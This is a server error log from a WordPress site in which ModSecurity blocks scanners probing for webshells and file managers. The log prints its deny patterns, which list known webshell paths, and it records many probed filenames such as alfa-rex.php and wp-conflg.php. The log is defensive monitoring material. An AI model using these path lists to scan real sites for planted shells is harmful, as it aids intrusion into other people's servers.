[Wed Apr 08 13:57:33.189414 2026] [:error] [pid 35642:tid 35655] [client 185.153.151.165:39970] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/wp-login.php"] [unique_id "adXuTQ-CqryxdEs5DN9J1gAAAEs"]
[Wed Apr 08 13:57:34.924763 2026] [:error] [pid 12453:tid 12478] [client 185.153.151.165:39976] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/alfa-rex.php"] [unique_id "adXuThjtW7S6XsLPvrQuiAAAAJc"]
[Wed Apr 08 13:57:35.625176 2026] [:error] [pid 12453:tid 12461] [client 185.153.151.165:39978] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/Core32.php"] [unique_id "adXuTxjtW7S6XsLPvrQujwAAAIY"]
[Wed Apr 08 13:57:38.082875 2026] [:error] [pid 12386:tid 12440] [client 185.153.151.165:39992] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/wp-conflg.php"] [unique_id "adXuUhLhhLtqHi2gK7Vf6wAAARg"]
[Wed Apr 08 13:57:40.209495 2026] [:error] [pid 12386:tid 12440] [client 185.153.151.165:44860] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/wordpress/images/index.php"] [unique_id "adXuVBLhhLtqHi2gK7VgAwAAARg"]
[Wed Apr 08 13:57:40.891918 2026] [:error] [pid 12385:tid 12411] [client 185.153.151.165:44870] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/library/index.php"] [unique_id "adXuVCAjtvRQEkLosq0JdAAAABY"]
[Wed Apr 08 13:58:18.478359 2026] [autoindex:error] [pid 35642:tid 35665] [client 185.153.151.152:60204] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 08 16:21:22.875522 2026] [:error] [pid 12453:tid 12455] [client 43.153.135.208:53900] [client 43.153.135.208] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "adYQAhjtW7S6XsLPvrSQMwAAAIA"]
[Wed Apr 08 20:49:27.174515 2026] [:error] [pid 12453:tid 12474] [client 68.221.129.52:57726] [client 68.221.129.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Ipv6.php"] [unique_id "adZO1xjtW7S6XsLPvrQqdAAAAJM"]
[Wed Apr 08 20:49:31.608829 2026] [:error] [pid 64066:tid 64083] [client 68.221.129.52:46510] [client 68.221.129.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "adZO21R3WucJgr2vZGY9qgAAAU4"]
[Wed Apr 08 20:49:32.150332 2026] [:error] [pid 7047:tid 7050] [client 68.221.129.52:40349] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.php"] [unique_id "adZO3ONh3oGO3pKiCzwV_AAAAYE"]
[Wed Apr 08 20:49:32.781675 2026] [:error] [pid 12490:tid 12506] [client 68.221.129.52:52908] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.php"] [unique_id "adZO3G1Fea4F4fbumr0ASgAAAM4"]
[Wed Apr 08 20:49:33.406685 2026] [:error] [pid 12453:tid 12468] [client 68.221.129.52:46470] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.php"] [unique_id "adZO3RjtW7S6XsLPvrQqeAAAAI0"]
[Wed Apr 08 20:49:34.044624 2026] [:error] [pid 12490:tid 12511] [client 68.221.129.52:52882] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xda.php"] [unique_id "adZO3m1Fea4F4fbumr0ATAAAANM"]
[Wed Apr 08 20:49:34.589320 2026] [:error] [pid 64066:tid 64084] [client 68.221.129.52:46494] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xda.php"] [unique_id "adZO3lR3WucJgr2vZGY9qwAAAU8"]
[Wed Apr 08 20:49:35.149482 2026] [:error] [pid 12453:tid 12476] [client 68.221.129.52:57686] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xda.php"] [unique_id "adZO3xjtW7S6XsLPvrQqfAAAAJU"]
[Wed Apr 08 20:49:35.691951 2026] [:error] [pid 12490:tid 12496] [client 68.221.129.52:46528] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xda.php"] [unique_id "adZO321Fea4F4fbumr0AUAAAAMQ"]
[Wed Apr 08 20:49:36.390018 2026] [:error] [pid 7189:tid 7201] [client 68.221.129.52:40340] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wdone1.php"] [unique_id "adZO4BaBqhBSu0L37lrS2wAAAco"]
[Wed Apr 08 20:49:36.979061 2026] [:error] [pid 7189:tid 7194] [client 68.221.129.52:57708] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wdone1.php"] [unique_id "adZO4BaBqhBSu0L37lrS3QAAAcM"]
[Wed Apr 08 20:49:37.747897 2026] [:error] [pid 12453:tid 12474] [client 68.221.129.52:52878] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wdone1.php"] [unique_id "adZO4RjtW7S6XsLPvrQqfwAAAJM"]
[Wed Apr 08 20:49:38.352560 2026] [:error] [pid 7189:tid 7202] [client 68.221.129.52:54664] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wdone1.php"] [unique_id "adZO4haBqhBSu0L37lrS4QAAAcs"]
[Wed Apr 08 20:49:38.977097 2026] [:error] [pid 12453:tid 12471] [client 68.221.129.52:46588] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "adZO4hjtW7S6XsLPvrQqgAAAAJA"]
[Wed Apr 08 20:49:39.599448 2026] [:error] [pid 35642:tid 35652] [client 68.221.129.52:46556] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "adZO4w-CqryxdEs5DN9aDwAAAEg"]
[Wed Apr 08 20:49:40.240798 2026] [:error] [pid 7047:tid 7061] [client 68.221.129.52:52903] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "adZO5ONh3oGO3pKiCzwWAQAAAYw"]
[Wed Apr 08 20:49:40.933804 2026] [:error] [pid 7047:tid 7064] [client 68.221.129.52:52869] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "adZO5ONh3oGO3pKiCzwWBAAAAY8"]
[Wed Apr 08 20:49:41.604247 2026] [:error] [pid 7189:tid 7210] [client 68.221.129.52:52889] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ng.php"] [unique_id "adZO5RaBqhBSu0L37lrS5wAAAdM"]
[Wed Apr 08 20:49:42.129762 2026] [:error] [pid 12490:tid 12492] [client 68.221.129.52:46550] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ng.php"] [unique_id "adZO5m1Fea4F4fbumr0AVQAAAMA"]
[Wed Apr 08 20:49:42.888153 2026] [:error] [pid 7189:tid 7211] [client 68.221.129.52:57681] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ng.php"] [unique_id "adZO5haBqhBSu0L37lrS7AAAAdQ"]
[Wed Apr 08 20:49:43.454954 2026] [:error] [pid 12490:tid 12502] [client 68.221.129.52:57666] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ng.php"] [unique_id "adZO521Fea4F4fbumr0AWwAAAMo"]
[Wed Apr 08 20:49:44.079384 2026] [:error] [pid 35642:tid 35653] [client 68.221.129.52:57701] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awh.php"] [unique_id "adZO6A-CqryxdEs5DN9aEAAAAEk"]
[Wed Apr 08 20:49:44.696408 2026] [:error] [pid 7047:tid 7056] [client 68.221.129.52:41603] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awh.php"] [unique_id "adZO6ONh3oGO3pKiCzwWCAAAAYc"]
[Wed Apr 08 20:49:45.309657 2026] [:error] [pid 64066:tid 64089] [client 68.221.129.52:52871] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awh.php"] [unique_id "adZO6VR3WucJgr2vZGY9tAAAAVQ"]
[Wed Apr 08 20:49:45.905740 2026] [:error] [pid 12453:tid 12465] [client 68.221.129.52:46492] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awh.php"] [unique_id "adZO6RjtW7S6XsLPvrQqiAAAAIo"]
[Wed Apr 08 20:49:46.605029 2026] [:error] [pid 7047:tid 7055] [client 68.221.129.52:46464] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aee.php"] [unique_id "adZO6uNh3oGO3pKiCzwWCgAAAYY"]
[Wed Apr 08 20:49:47.191565 2026] [:error] [pid 7189:tid 7205] [client 68.221.129.52:41629] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aee.php"] [unique_id "adZO6xaBqhBSu0L37lrS8AAAAc4"]
[Wed Apr 08 20:49:47.764973 2026] [:error] [pid 7189:tid 7194] [client 68.221.129.52:54658] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aee.php"] [unique_id "adZO6xaBqhBSu0L37lrS9AAAAcM"]
[Wed Apr 08 20:49:48.324814 2026] [:error] [pid 35642:tid 35663] [client 68.221.129.52:41618] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aee.php"] [unique_id "adZO7A-CqryxdEs5DN9aEgAAAFM"]
[Wed Apr 08 20:49:48.923488 2026] [:error] [pid 7047:tid 7065] [client 68.221.129.52:46473] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new3.php"] [unique_id "adZO7ONh3oGO3pKiCzwWDgAAAZA"]
[Wed Apr 08 20:49:49.519163 2026] [:error] [pid 12385:tid 12401] [client 68.221.129.52:52893] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new3.php"] [unique_id "adZO7SAjtvRQEkLosq2ePAAAAAw"]
[Wed Apr 08 20:49:50.060568 2026] [:error] [pid 12453:tid 12471] [client 68.221.129.52:40345] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new3.php"] [unique_id "adZO7hjtW7S6XsLPvrQqjAAAAJA"]
[Wed Apr 08 20:49:50.659449 2026] [:error] [pid 12453:tid 12468] [client 68.221.129.52:54684] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new3.php"] [unique_id "adZO7hjtW7S6XsLPvrQqjQAAAI0"]
[Wed Apr 08 20:49:51.215377 2026] [:error] [pid 12453:tid 12455] [client 68.221.129.52:40360] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ruabjw00.php"] [unique_id "adZO7xjtW7S6XsLPvrQqjwAAAIA"]
[Wed Apr 08 20:49:51.836743 2026] [:error] [pid 7189:tid 7206] [client 68.221.129.52:57714] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ruabjw00.php"] [unique_id "adZO7xaBqhBSu0L37lrS9gAAAc8"]
[Wed Apr 08 20:49:52.385534 2026] [:error] [pid 12490:tid 12496] [client 68.221.129.52:57700] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ruabjw00.php"] [unique_id "adZO8G1Fea4F4fbumr0AYwAAAMQ"]
[Wed Apr 08 20:49:52.931644 2026] [:error] [pid 12490:tid 12510] [client 68.221.129.52:41654] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ruabjw00.php"] [unique_id "adZO8G1Fea4F4fbumr0AZgAAANI"]
[Wed Apr 08 20:49:53.479445 2026] [:error] [pid 7189:tid 7208] [client 68.221.129.52:41616] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "adZO8RaBqhBSu0L37lrS-QAAAdE"]
[Wed Apr 08 20:49:54.076059 2026] [:error] [pid 12386:tid 12426] [client 68.221.129.52:40377] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "adZO8hLhhLtqHi2gK7UY3gAAAQo"]
[Wed Apr 08 20:49:54.609810 2026] [:error] [pid 12490:tid 12500] [client 68.221.129.52:57679] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "adZO8m1Fea4F4fbumr0AbQAAAMg"]
[Wed Apr 08 20:49:55.148513 2026] [:error] [pid 12386:tid 12425] [client 68.221.129.52:33775] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "adZO8xLhhLtqHi2gK7UY4QAAAQk"]
[Wed Apr 08 20:49:55.691956 2026] [:error] [pid 12453:tid 12466] [client 68.221.129.52:40322] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/webx.php"] [unique_id "adZO8xjtW7S6XsLPvrQqmwAAAIs"]
[Wed Apr 08 20:49:56.309881 2026] [:error] [pid 35642:tid 35668] [client 68.221.129.52:33789] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/webx.php"] [unique_id "adZO9A-CqryxdEs5DN9aFgAAAFg"]
[Wed Apr 08 20:49:56.895686 2026] [:error] [pid 35642:tid 35660] [client 68.221.129.52:33734] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/webx.php"] [unique_id "adZO9A-CqryxdEs5DN9aGAAAAFA"]
[Wed Apr 08 20:49:57.624033 2026] [:error] [pid 12386:tid 12433] [client 68.221.129.52:33764] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/webx.php"] [unique_id "adZO9RLhhLtqHi2gK7UY5gAAARE"]
[Wed Apr 08 20:49:58.218280 2026] [:error] [pid 12490:tid 12516] [client 68.221.129.52:54708] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hhxc.php"] [unique_id "adZO9m1Fea4F4fbumr0AcgAAANg"]
